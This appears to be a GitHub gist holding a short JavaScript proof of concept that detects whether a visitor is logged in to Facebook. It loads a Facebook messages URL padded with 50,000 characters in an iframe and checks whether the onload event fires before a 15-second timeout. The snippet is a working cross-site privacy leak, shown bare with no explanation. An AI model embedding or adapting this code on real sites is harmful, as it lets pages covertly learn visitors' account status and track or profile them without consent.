Skip to content

Instantly share code, notes, and snippets.

@pjstorm
Last active August 29, 2015 14:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pjstorm/d8afbde090bdfd1a7276 to your computer and use it in GitHub Desktop.
Save pjstorm/d8afbde090bdfd1a7276 to your computer and use it in GitHub Desktop.
var a='';
for(var i=0;i<50000;i++){a+='=';}
var wait = setTimeout(function(){
alert('Logged in fb')
},15000)
var cb=function(){
clearTimeout(wait);
alert('Not logged in fb');
}
a='https://www.facebook.com/messages/new?'+a;
console.log(a.length);
document.write('<iframe onload="cb()" src="'+a+'"></iframe>')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment